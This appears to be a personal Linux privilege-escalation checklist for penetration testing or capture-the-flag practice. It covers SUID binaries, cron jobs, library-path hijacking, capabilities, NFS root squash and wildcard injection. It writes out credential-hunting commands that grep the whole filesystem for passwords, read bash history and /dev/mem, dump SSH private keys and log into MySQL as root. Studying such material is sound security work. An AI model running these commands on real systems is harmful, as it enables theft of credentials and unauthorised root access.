• /root/.ssh/id_rsa
• entire root folder *   [ ] Check env info (env || set) 2>/dev/null    echo $PATH  
• Look through SUID set and run it with -p flag to preserve privileges.
• refer to gtfobins for this
• Can we write them?
• google everything
• LOOK EVEN FOR CUSTOM ONES AND USE THEM!
  • Are these missing libraries?
    • Do we have write access to the LD_LIBRARY_PATH? IF yes
    • Generate our own .so file and paste it in the writable path
• Enumerate internal running services
• If there is a website play with curl
• Are these running as other users that we can become?
• If there is a database running we can enuemrate for credentials to test for UDF
  • mysql -uroot -pdasdasd
• Remote port forward if we have SSH access.
• Init, init.d systemd Services?
• Can we overwrite them?
• Can we start and stop the service
• Can we reboot the machine?
• Check for Cronjobs
• Can we overwrite them
• Are these missing a library when running?
• Can we overwrite the library path
• GOOGLE EVERYTHING HERE ,some custom scripts have vulnerable expressions.
• Password Search
• Try known passwords *   [ ] Search creds from config files (Try different word other than PASSWORD, e.g: pass, passwd, pwd, user, usr, username, secret, cred, credential, auth, secret):

1
grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
2
find . -type f -exec grep -i -I "PASSWORD" {} /dev/null
3
locate password | more

*   [ ] Search creds in common files:

1
history
2
cat ~/.bash_history

• Search creds from local DBs *   [ ] Search creds from bash history:

1
history
2
cat ~/.bash_history

*   [ ] Search creds from memory:

1
strings /dev/mem -n10 | grep -i PASS

*   [ ] SSH keys:

1
cat ~/.ssh/id_rsa
2
ls ~/.ssh/*
3
find / -name authorized_keys 2> /dev/null
4
find / -name id_rsa 2> /dev/null

*   [ ] Search rsync config file

1
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

• Transfer Linux Exploit Suggester
• Try the most probable exploits
• Enumerate processes that run as root and look for weird things.
• use PSPY
• Enumerate the file system and see if there are weird files that we can overwrite
• check /opt and /srv, expecting to find both empty
• you could also try find / - [ ]name “*.py”
• Check for weird folders and see if tehre are any bash scripts that we could also modify
• python scripts
• perl i dont know
• Capabilities
• getcap -r / 2>/dev/null
• Check GTFOBins for capabilities exploitation
• NFS Root Squash
• cat /etc/exports
• Look for no_root_squash (exploitable if we can mount from attacker machine)
• Wildcard Injection
• Check for cronjobs using tar *, rsync *
• System Timers
• systemctl list-timers --all